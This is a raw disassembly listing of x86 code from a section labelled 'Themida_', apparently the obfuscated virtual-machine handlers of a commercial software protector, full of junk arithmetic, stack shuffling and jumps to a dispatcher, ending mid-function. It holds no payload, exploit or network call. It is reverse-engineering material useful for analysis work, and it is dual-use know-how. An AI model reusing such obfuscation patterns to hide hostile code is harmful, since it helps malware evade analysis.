loc_58CFD7:				; CODE XREF: sub_5906EB+Aj
		push	[esp+arg_0]
		pop	ecx
		pop	dword ptr [esp+0]
		pop	esp
		add	esp, 4
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_5906EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CFEB:				; CODE XREF: sub_59196D-6199j
		mov	ecx, 1
		add	ebp, ecx
		pop	ecx
		shr	ebp, 7
		inc	ebp
		xor	ebp, 0FB7758h
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		mov	[esp+10h+var_12+2], ebx
		sub	esp, 4
		mov	[esp+14h+var_16+2], esi
		mov	esi, eax
		sub	esp, 4
		mov	[esp+18h+var_1A+2], esi
		push	[esp+18h+var_1A+2]
		pop	ebx
		push	6724h
		mov	[esp+1Ch+var_1E+2], ebx
		jmp	loc_597979
; ---------------------------------------------------------------------------


loc_58D02E:				; CODE XREF: sub_59196D-A8Fj
		sub	ebx, eax
		sub	ebx, 313F7E33h
		push	esi
		mov	esi, esp
		jmp	loc_595265
; ---------------------------------------------------------------------------


loc_58D03E:				; CODE XREF: sub_59196D-1C4Ej
		pop	ecx
		jmp	loc_58DC29
; ---------------------------------------------------------------------------


loc_58D044:				; CODE XREF: sub_59196D+C30j
		pop	edi
		add	ebx, esi
		pop	esi
		jmp	loc_58F088
; ---------------------------------------------------------------------------


loc_58D04D:				; CODE XREF: sub_59196D-20Fj
		pop	ebx
		jmp	loc_58F818
; ---------------------------------------------------------------------------


loc_58D053:				; CODE XREF: sub_59196D-3C48j
		push	edx
		mov	edx, 6EA65FD1h
		add	eax, edx
		jmp	loc_58B584
; ---------------------------------------------------------------------------


loc_58D060:				; CODE XREF: sub_59196D+5766j
		add	esi, 4
		jmp	loc_58C0AF
; ---------------------------------------------------------------------------


loc_58D06B:				; CODE XREF: sub_59196D+10EBj
		xor	ecx, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], ecx
		xor	ecx, [esp+14h+var_16+2]
		pop	esp
		xor	eax, esi
		push	[esp+10h+var_12+2]
		push	[esp+14h+var_16+2]
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_590ECC
; ---------------------------------------------------------------------------


loc_58D09B:				; CODE XREF: sub_59196D+AB0j
					; sub_59196D+6309j
		mov	[esp+14h+var_16+2], eax
		mov	al, 30h
		xor	al, 0C8h
		jmp	loc_591E6C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58D0A7:				; CODE XREF: Themida_:0058B7E1j
		pop	eax
		push	4670h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		push	edx
		mov	edx, 7C07364Bh
		mov	eax, 0C92227C8h
		jmp	loc_593C78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D0C9:				; CODE XREF: sub_59196D+6CF4j
		push	[esp+14h+var_16+2]
		push	[esp+18h+var_1A+2]
		pop	esi
		jmp	loc_58F542
; ---------------------------------------------------------------------------


loc_58D0D5:				; CODE XREF: sub_59196D+664Aj
		xor	dl, 0D0h
		add	bl, dl
		pop	edx
		jmp	loc_590EB7
; ---------------------------------------------------------------------------


loc_58D0E0:				; CODE XREF: sub_59196D+3C5Dj
		add	ebp, 7CF13C34h
		and	ebp, 1C5C0486h
		inc	ebp
		add	ebp, 0EBB7FC01h
		jmp	loc_58DA9F
; ---------------------------------------------------------------------------


loc_58D0F8:				; CODE XREF: sub_59196D-3362j
		pop	ebp
		pop	[esp+10h+var_12+2]
		pop	esp
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59694F
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58D10E	proc near		; CODE XREF: sub_59196D+2C70j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058DA0E SIZE 0000001A BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58DA0E
sub_58D10E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D122:				; CODE XREF: sub_59196D+3405j
		sub	edx, esi
		jmp	loc_5917BF
; ---------------------------------------------------------------------------


loc_58D129:				; CODE XREF: sub_59196D+4775j
		pop	esi
		jmp	sub_5914EB
; ---------------------------------------------------------------------------


loc_58D12F:				; CODE XREF: sub_59196D+18DEj
		xor	eax, esi
		push	[esp+4+var_4]
		pop	esi
		push	ebx
		jmp	loc_591D70
; ---------------------------------------------------------------------------


loc_58D13B:				; CODE XREF: sub_59196D+575Fj
		jno	loc_58FB55
		xor	edi, 361D27E2h
		mov	ebp, edi
		pop	edi
		push	ebp


loc_58D14B:				; CODE XREF: sub_59196D-1B75j
		dec	ebx
		inc	ebx
		push	ecx
		mov	ecx, 70923E6Fh
		inc	ecx
		sub	ecx, 41E35554h
		shr	ecx, 2
		jmp	loc_591C0E
; ---------------------------------------------------------------------------


loc_58D162:				; CODE XREF: sub_59196D+1C87j
		mov	eax, esp
		jmp	loc_591C2A
; ---------------------------------------------------------------------------


loc_58D169:				; CODE XREF: sub_59196D+236Dj
		neg	esi
		js	loc_5910A6
		and	esi, 37935EB4h
		neg	esi
		jmp	loc_591BCF
; ---------------------------------------------------------------------------


loc_58D17E:				; CODE XREF: sub_59196D-2F84j
		mov	word ptr [esp+0Ch+var_C], dx
		push	ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D18A:				; CODE XREF: sub_59196D-1BE1j
		add	bl, cl
		pop	ecx
		push	edx
		jmp	loc_59698D
; ---------------------------------------------------------------------------


loc_58D193:				; CODE XREF: sub_59196D+47EDj
		mov	eax, edx
		jmp	loc_59383E
; ---------------------------------------------------------------------------


loc_58D19A:				; CODE XREF: sub_59196D-5600j
					; sub_59196D+305Aj
		pop	esi
		add	esp, 4
		jmp	loc_5914C6
; ---------------------------------------------------------------------------


loc_58D1A3:				; CODE XREF: sub_59196D-58B5j
		and	esi, 7749464Dh
		jmp	loc_595A6A
; ---------------------------------------------------------------------------


loc_58D1AE:				; CODE XREF: sub_59196D-567Bj
		push	ecx
		sub	[esp+1Ch+var_1E+2], 4D6E69F1h
		jmp	loc_5983C0
; ---------------------------------------------------------------------------


loc_58D1BB:				; CODE XREF: sub_59196D+182Cj
		pop	ecx
		sub	eax, 4
		jmp	loc_595B00
; ---------------------------------------------------------------------------


loc_58D1C4:				; CODE XREF: sub_59196D+15A3j
		xchg	eax, [esp+18h+var_1A+2]
		pop	esp
		mov	cx, word ptr [esp+14h+var_16+2]
		jmp	loc_58CB36
; ---------------------------------------------------------------------------


loc_58D1D1:				; CODE XREF: sub_59196D+551Ej
		add	esi, 3DC67BABh
		jnb	loc_58BB6F
		xor	esi, 2B7B0F78h
		js	loc_597A34
		pop	esi


loc_58D1EA:				; CODE XREF: sub_59196D+6A89j
		pop	ebp
		pop	esi
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	word ptr [esp+8+var_8],	ax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D1FB:				; CODE XREF: sub_59196D+6B62j
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	esi
		push	44DF4D56h
		jmp	loc_597764
; ---------------------------------------------------------------------------


loc_58D216:				; CODE XREF: sub_59196D+255Fj
		add	edx, 4
		sub	esp, 4
		mov	[esp+14h+var_16+2], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	edx
		push	[esp+14h+var_12+2]
		pop	edx
		pop	[esp+14h+var_16+2]
		mov	esp, [esp+10h+var_12+2]
		push	0F8Eh
		jmp	loc_58CD20
; ---------------------------------------------------------------------------


loc_58D243:				; CODE XREF: sub_59196D+5A45j
		sub	ecx, 6E83192Bh
		shl	ecx, 8
		xor	ecx, 7102604Bh
		jmp	loc_58F7AD
; ---------------------------------------------------------------------------


loc_58D257:				; CODE XREF: sub_59196D+2C03j
		pop	ebx
		and	ecx, ebp
		mov	ebp, [esp+10h+var_12+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_593D4D
; ---------------------------------------------------------------------------


loc_58D265:				; CODE XREF: sub_59196D-4E51j
		pop	esp


loc_58D266:				; CODE XREF: sub_59196D+1A31j
					; sub_59196D+3148j
		push	dword ptr [edi+24h]
		jmp	loc_5938B3
; ---------------------------------------------------------------------------


loc_58D26E:				; CODE XREF: sub_59196D-2AABj
		push	1F7Bh
		mov	[esp+3Ah+var_3C+2], ecx
		mov	ecx, 2
		add	eax, ecx
		jmp	loc_58EEF9
; ---------------------------------------------------------------------------


loc_58D282:				; CODE XREF: sub_59196D+2DD7j
		push	esp
		mov	ecx, [esp+3Eh+var_40+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+42h+var_44+2]
		pop	esp
		sub	esp, 4
		mov	[esp+42h+var_44+2], eax
		push	edx
		mov	edx, 6FBC7107h
		add	edx, 2506472Ch
		jnp	loc_5982EA
		add	edx, 34826E12h
		jp	loc_5920B2
		not	edx
		jmp	loc_59261E
; ---------------------------------------------------------------------------


loc_58D2C7:				; CODE XREF: sub_59196D+3387j
		sub	ebx, 33AA6E9Bh
		mov	ecx, ebx
		pop	ebx
		sub	ebp, ecx
		push	[esp+42h+var_44+2]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_596F8C
; ---------------------------------------------------------------------------


loc_58D2EC:				; CODE XREF: sub_59196D+4158j
		mov	dl, 55h
		sub	dl, 99h
		or	dl, 0E0h
		sub	dl, 0A1h
		push	ecx
		jmp	loc_595151
; ---------------------------------------------------------------------------


loc_58D2FD:				; CODE XREF: sub_59196D:loc_58E68Bj
					; sub_59196D+1986j
		jmp	loc_58D5C8
; ---------------------------------------------------------------------------


loc_58D302:				; CODE XREF: sub_59196D+1579j
		push	edi
		mov	edi, 5F140255h
		and	edi, 7F370B75h
		shl	edi, 3
		sub	edi, 0C73FB18Ah
		sub	ebp, edi
		pop	edi
		pop	edx
		xchg	ebp, [esp+4Ah+var_4A]
		pop	esp
		mov	[esp+0], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 2AB3292Ah
		shr	edi, 8
		xor	edi, 36DC52A1h
		jmp	loc_5965D9
; ---------------------------------------------------------------------------


loc_58D338:				; CODE XREF: sub_59196D+464Dj
		add	edx, esi
		add	edx, 480F25B0h
		pop	esi
		push	ecx
		jmp	loc_590754
; ---------------------------------------------------------------------------


loc_58D347:				; CODE XREF: sub_59196D:loc_5936BFj
		jmp	loc_596F6E
; ---------------------------------------------------------------------------


loc_58D34C:				; CODE XREF: sub_59196D-2BE0j
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		xchg	eax, [esp+4Ah+var_4A]
		push	[esp+4Ah+var_4A]
		jmp	loc_597A44
; ---------------------------------------------------------------------------


loc_58D35B:				; CODE XREF: sub_59196D+BF2j
		pop	ebp
		jmp	loc_590B9A
; ---------------------------------------------------------------------------


loc_58D361:				; CODE XREF: sub_59196D-15DDj
		add	cl, dl
		jmp	loc_59416A
; ---------------------------------------------------------------------------


loc_58D368:				; CODE XREF: sub_59196D+5D80j
		mov	ecx, [esp+4Ah+var_4A]
		add	esp, 4
		jmp	loc_58F11D
; ---------------------------------------------------------------------------


loc_58D373:				; CODE XREF: sub_59196D+5112j
		add	eax, 4
		push	edi
		mov	edi, 5D946F0Ch
		add	edi, 0A26B90F8h
		add	eax, edi
		pop	edi
		jmp	loc_58FCF3
; ---------------------------------------------------------------------------


loc_58D38C:				; CODE XREF: sub_59196D+4CE5j
		sub	al, cl
		jmp	loc_59009D
; ---------------------------------------------------------------------------


loc_58D393:				; CODE XREF: sub_59196D+1762j
		xor	bh, dl
		pop	dx
		sub	al, bh
		pop	ebx
		sub	al, bh
		push	6E9Fh
		jmp	loc_592A2E
; ---------------------------------------------------------------------------


loc_58D3A6:				; CODE XREF: sub_59196D+99Ej
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D3AB:				; CODE XREF: sub_59196D+3E8Cj
		pop	ebx
		add	esp, 4
		xchg	esi, [esp+3Ch+var_3C]
		jmp	loc_58C09B
; ---------------------------------------------------------------------------


loc_58D3B7:				; CODE XREF: sub_59196D+2CF7j
		not	al
		shr	al, 3
		js	loc_58CEBC
		jmp	loc_5941BB
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	49F3h
		mov	[esp], ecx
		push	esp
		jmp	loc_596012
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D3D9:				; CODE XREF: sub_59196D-41B4j
		xor	[esp+3Ch+var_3C], ecx
		xor	ecx, [esp+3Ch+var_3C]
		pop	esp
		bt	[esp+0], eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D3EA:				; CODE XREF: sub_59196D+FC5j
		sub	edi, ebx
		pop	ebx
		xor	edi, 0A44BFA21h
		mov	ecx, edi
		pop	edi
		sub	ecx, 0FFFFFFFFh
		add	ecx, 0E41FC824h
		sub	ecx, 257131ADh
		jmp	loc_5923E3
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C376


loc_58D40A:				; CODE XREF: sub_58C376+26j
		shl	al, 3
		and	al, 59h
		inc	al
		push	edx
		mov	dl, 0F6h
		xor	dl, 70h
		xor	al, dl
		jmp	loc_58E462
; END OF FUNCTION CHUNK	FOR sub_58C376
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D41E:				; CODE XREF: sub_59196D+67FDj
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+30h+var_32+2]
		mov	esp, [esp+30h+var_32+2]
		mov	[esp+30h+var_32+2], ecx
		push	esi
		mov	esi, 396F49F1h
		and	esi, 485B062Fh
		jmp	loc_596DFB
; ---------------------------------------------------------------------------


loc_58D452:				; CODE XREF: sub_59196D-9F8j
		sub	ebp, 450F09CAh
		add	ebp, edi
		jmp	loc_59718D
; ---------------------------------------------------------------------------


loc_58D45F:				; CODE XREF: sub_59196D-1EFBj
		pop	ecx
		sub	edi, 3893748Eh
		push	ecx
		mov	ecx, 5D071E56h
		add	ecx, 0C5040563h
		sub	edi, ecx
		jmp	loc_58D639
; ---------------------------------------------------------------------------


loc_58D479:				; CODE XREF: sub_59196D-2348j
		add	cl, 0D8h
		add	dl, cl
		pop	ecx
		jmp	loc_58DB25
; ---------------------------------------------------------------------------


loc_58D484:				; CODE XREF: sub_59196D+5A7Dj
		sub	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		pop	esi
		jmp	loc_58CD73
; ---------------------------------------------------------------------------


loc_58D490:				; CODE XREF: sub_59196D-5E5Dj
					; sub_59196D+5536j
		shl	edi, 2
		js	loc_59854B
		xor	edi, 0A7B55F74h
		mov	ebp, edi
		pop	edi
		push	ebp


loc_58D4A3:				; CODE XREF: sub_58ED05-1747j
		push	14D15D95h
		pop	edi
		neg	edi
		xor	edi, 0B524B16Dh
		mov	eax, edi
		pop	edi
		add	esi, 29720344h
		jmp	loc_58DE1B
; ---------------------------------------------------------------------------


loc_58D4BF:				; CODE XREF: sub_59196D+F55j
		add	eax, edx
		push	edi
		jmp	loc_598322
; ---------------------------------------------------------------------------


loc_58D4C7:				; CODE XREF: sub_59196D:loc_596F4Dj
		push	esi
		push	edx
		mov	edx, 7A2044AFh
		mov	esi, 96B765A4h
		sub	esi, 74E31A34h
		sub	esi, edx
		add	esi, 74E31A34h
		pop	edx
		inc	esi
		shr	esi, 5
		xor	esi, 112D7421h
		xor	eax, esi
		pop	esi
		jmp	loc_5964ED
; ---------------------------------------------------------------------------


loc_58D4F4:				; CODE XREF: sub_59196D+645Cj
		dec	ebx
		not	ebx
		push	edi
		mov	edi, 6F4673AAh
		inc	edi
		jmp	loc_58CCB2
; ---------------------------------------------------------------------------


loc_58D503:				; CODE XREF: sub_59196D+5078j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D508:				; CODE XREF: sub_59196D+E7Bj
		inc	eax
		jmp	loc_5958D1
; ---------------------------------------------------------------------------


loc_58D50E:				; CODE XREF: sub_59196D+3BD8j
		mov	[esp+20h+var_22+2], ebx
		jmp	loc_594757
; ---------------------------------------------------------------------------


loc_58D516:				; CODE XREF: sub_59196D-2588j
		xor	ebp, 76C3E44h
		jmp	loc_58F91A
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58D521	proc near		; CODE XREF: sub_59196D:loc_58B536j
		push	ebx
		mov	ebx, 1F374C07h
		not	ebx
		jmp	loc_5965B3
sub_58D521	endp

; ---------------------------------------------------------------------------


loc_58D52E:				; DATA XREF: Themida_:0058B0F4o
		lodsd
		xor	eax, ebx
		push	4926h
		mov	[esp], esi
		push	ecx
		mov	ecx, 40489542h
		jmp	loc_595A99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D544:				; CODE XREF: sub_59196D-5CE4j
		add	esp, 4
		push	ebx
		mov	ebx, edi
		jmp	loc_59761A
; ---------------------------------------------------------------------------


loc_58D552:				; CODE XREF: sub_59196D+5A2Dj
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		push	eax
		mov	eax, 7E36022Bh
		sub	eax, 74121F1Ah
		jmp	loc_58B6F7
; ---------------------------------------------------------------------------


loc_58D568:				; CODE XREF: sub_59196D-B5Fj
		sub	[esp+28h+var_22+2], ebx
		jmp	loc_597958
; ---------------------------------------------------------------------------


loc_58D571:				; CODE XREF: sub_59196D+5307j
		sub	edi, 171F7C72h
		push	[esp+28h+var_2A+2]
		mov	edx, [esp+2Ch+var_2E+2]
		add	esp, 4
		add	esp, 4
		xchg	edi, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		xor	word ptr [esp+24h+var_26+2], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D596:				; CODE XREF: sub_59196D-42D1j
		xor	[esp+28h+var_2A+2], ecx
		xor	ecx, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], eax
		push	ebx
		mov	bl, dl
		mov	ah, bl
		pop	ebx
		mov	bl, ah
		pop	eax
		mov	[edi+eax*4], bl
		push	[esp+20h+var_22+2]
		pop	ebx
		jmp	loc_58BB15
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58ED05


loc_58D5B5:				; CODE XREF: sub_58ED05+11j
		push	626Ah
		mov	[esp+0Ch+var_C], eax
		push	edi
		jmp	loc_58D4A3
; END OF FUNCTION CHUNK	FOR sub_58ED05
; ---------------------------------------------------------------------------
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D5C8:				; CODE XREF: sub_59196D:loc_58D2FDj
		sub	edx, 0E303587Fh
		jmp	loc_596B9B
; ---------------------------------------------------------------------------


loc_58D5D3:				; CODE XREF: sub_59196D-545Cj
		push	6B38h
		mov	[esp+12h+var_12], edx
		jmp	loc_590A25
; ---------------------------------------------------------------------------


loc_58D5E0:				; CODE XREF: sub_59196D-638Ej
		push	ecx
		push	esp
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		add	ecx, 4
		jmp	loc_597BD3
; ---------------------------------------------------------------------------


loc_58D5F6:				; CODE XREF: sub_59196D-4C1Fj
		mov	[esp+3Eh+var_40+2], ebx
		mov	bl, 22h
		add	bl, 0FFh
		not	bl
		add	bl, 0FFh
		push	ecx
		jmp	loc_58F358
; ---------------------------------------------------------------------------


loc_58D609:				; CODE XREF: sub_59196D+1DA1j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5977B6
; ---------------------------------------------------------------------------


loc_58D619:				; CODE XREF: sub_59196D+615j
		push	esi
		jmp	loc_58B7D9
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58D61F	proc near		; DATA XREF: Themida_:0058B1A8o

; FUNCTION CHUNK AT 0058D7BE SIZE 00000005 BYTES

		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp+0], cl
		pushf
		jmp	loc_58D7BE
sub_58D61F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D62E:				; CODE XREF: sub_59196D:loc_591425j
		sub	ecx, 7C663F5Ch
		jmp	loc_58E68B
; ---------------------------------------------------------------------------


loc_58D639:				; CODE XREF: sub_59196D-44F9j
		pop	ecx
		xor	edi, 63B8A05h
		xor	ebx, edi
		pop	edi
		push	ebx
		jmp	loc_591F2F
; ---------------------------------------------------------------------------


loc_58D649:				; CODE XREF: sub_59196D+1EA1j
		pop	ebp
		push	0CBh
		mov	[esp+30h+var_32+2], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 45EA4DFBh
		add	ebp, 82154BBh
		sub	ebp, 4E0BA2B2h
		jmp	loc_59700F
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58D671:				; DATA XREF: Themida_:0058B0C4o
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 6A6745D2h
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 1E555566h
		jmp	loc_593090
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D68C:				; CODE XREF: sub_59196D+37F9j
		pop	edx
		mov	edi, [esp+30h+var_32+2]
		jmp	loc_58E586
; ---------------------------------------------------------------------------


loc_58D695:				; CODE XREF: sub_59196D-5DD0j
					; sub_59196D+689Aj
		pop	eax
		sub	ecx, 4
		xor	ecx, [esp+14h+var_16+2]
		jmp	loc_58D596
; ---------------------------------------------------------------------------


loc_58D6A1:				; CODE XREF: sub_59196D+4BA7j
		pop	ebx
		sub	al, 0CCh
		add	al, dl
		jmp	loc_58C26C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 6F8352D3h
		jmp	loc_5905E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D6B6:				; CODE XREF: sub_59196D+7A0j
		push	602C1A8Eh
		jmp	loc_596D03
; ---------------------------------------------------------------------------


loc_58D6C0:				; CODE XREF: sub_59196D+41F2j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58FC24
; ---------------------------------------------------------------------------


loc_58D6CE:				; CODE XREF: sub_59196D+389j
					; sub_59196D+32FBj
		jmp	loc_595292
; ---------------------------------------------------------------------------


loc_58D6D3:				; CODE XREF: sub_59196D+117j
		sub	ecx, 332A38A0h
		add	ebp, ecx
		push	[esp+14h+var_16+2]
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, 6006305Eh
		jmp	loc_591950
; ---------------------------------------------------------------------------


loc_58D6F8:				; CODE XREF: sub_59196D+5547j
		mov	[esp+14h+var_16+2], esi
		jmp	loc_593AE2
; ---------------------------------------------------------------------------


loc_58D700:				; CODE XREF: sub_59196D+2F6Fj
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	sub_598477
; ---------------------------------------------------------------------------


loc_58D714:				; CODE XREF: sub_59196D-5B46j
					; sub_59196D+170Fj
		mov	[esp+2Eh+var_2E], ebp
		push	edi
		push	ebx
		jmp	loc_59133A
; ---------------------------------------------------------------------------


loc_58D71E:				; CODE XREF: sub_59196D-606j
		sub	al, dl
		push	edx
		push	ebx
		mov	bh, 7Dh
		jmp	loc_593ED1
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C3EF


loc_58D729:				; CODE XREF: sub_58C3EF+6j
		mov	[esp+8+var_8], edx
		mov	edx, 14BC0307h
		mov	ebx, 65CE265Ch
		add	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 1
		sub	ebx, 9F73AB0h
		sub	ebx, ecx
		add	ebx, 9F73AB0h
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	ebx
		inc	[esp+8+var_8]
		pop	ebx
		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 5083591Ch
		jmp	loc_590091
; END OF FUNCTION CHUNK	FOR sub_58C3EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D76E:				; CODE XREF: sub_59196D+2682j
		mov	[esp+3Eh+var_40+2], ebx
		mov	ebx, esp
		jmp	loc_58EEA5
; ---------------------------------------------------------------------------


loc_58D778:				; CODE XREF: sub_59196D+3D3Bj
		push	ecx
		mov	ecx, 0A5C03A04h
		xor	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp+3Ah+var_3C+2]
		jmp	loc_590293
; ---------------------------------------------------------------------------


loc_58D78C:				; CODE XREF: sub_59196D-20A4j
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+3Ah+var_3C+2]
		jmp	loc_593F59
; ---------------------------------------------------------------------------


loc_58D7A0:				; CODE XREF: sub_59196D+B0Aj
		sub	ecx, eax
		pop	eax
		pop	edx
		push	ebx
		push	4
		pop	ebx
		add	ecx, ebx
		mov	ebx, [esp+36h+var_36]
		add	esp, 4
		xor	ecx, [esp+32h+var_32]
		jmp	loc_58D3D9
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D61F


loc_58D7BE:				; CODE XREF: sub_58D61F+Aj
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_58D61F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D7C3:				; CODE XREF: sub_59196D-A6j
		push	esi
		push	3D17h
		mov	[esp+3Ah+var_3C+2], edi
		push	ebx
		mov	ebx, 6F2033EFh
		jmp	loc_59494C
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58D7D7	proc near		; CODE XREF: sub_59843D-C8D3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590132 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591334 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	ecx
		mov	ecx, 18683237h
		mov	edi, ecx
		jmp	loc_591334
sub_58D7D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D7EA:				; CODE XREF: sub_59196D+15A9j
		push	edi
		mov	edi, 1A16100Bh
		or	edi, 42E00563h
		sub	edi, 222C7208h
		jmp	loc_58C40F
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58D801:				; DATA XREF: Themida_:0058B13Co
		lodsd
		push	esi
		mov	esi, 4B9A6AB4h
		add	eax, 637F422Ch
		sub	eax, esi
		sub	eax, 637F422Ch
		mov	esi, [esp]
		jmp	loc_590833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D81C:				; CODE XREF: sub_59196D+4C0j
					; sub_59196D:loc_5924C7j
		mov	esi, 2
		add	eax, esi
		jmp	loc_5981A3
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58D838:				; CODE XREF: sub_59196D+E3Cj
					; sub_59196D:loc_598041j
		neg	bl
		neg	bl
		jz	loc_58CBA9
		jmp	loc_58E4EF
; ---------------------------------------------------------------------------


loc_58D847:				; CODE XREF: sub_59196D-2A15j
		pop	ebx
		push	edi
		mov	edi, 2
		jmp	loc_5960B4
; ---------------------------------------------------------------------------


loc_58D853:				; CODE XREF: sub_59196D-3306j
		mov	esp, [esp+42h+var_44+2]
		xchg	eax, [esp+42h+var_44+2]
		pop	esp
		push	[esp+3Eh+var_40+2]
		mov	eax, [esp+42h+var_44+2]
		sub	esp, 4
		mov	[esp+0], ebp
		push	esp
		mov	ebp, [esp+4Ah+var_4A]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_597385
; ---------------------------------------------------------------------------


loc_58D878:				; CODE XREF: sub_59196D-3F0Aj
		push	cx
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58D880:				; CODE XREF: sub_59196D+50BCj
		mov	[esp+54h+var_54], edi
		jmp	loc_58E2C9
; ---------------------------------------------------------------------------


loc_58D888:				; CODE XREF: sub_59196D+245Fj
		mov	cx, word ptr [esp+54h+var_54]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59473D
; ---------------------------------------------------------------------------


loc_58D89E:				; CODE XREF: sub_59196D+2170j
		push	ecx
		push	7D3Fh
		mov	[esp+60h+var_60], esp
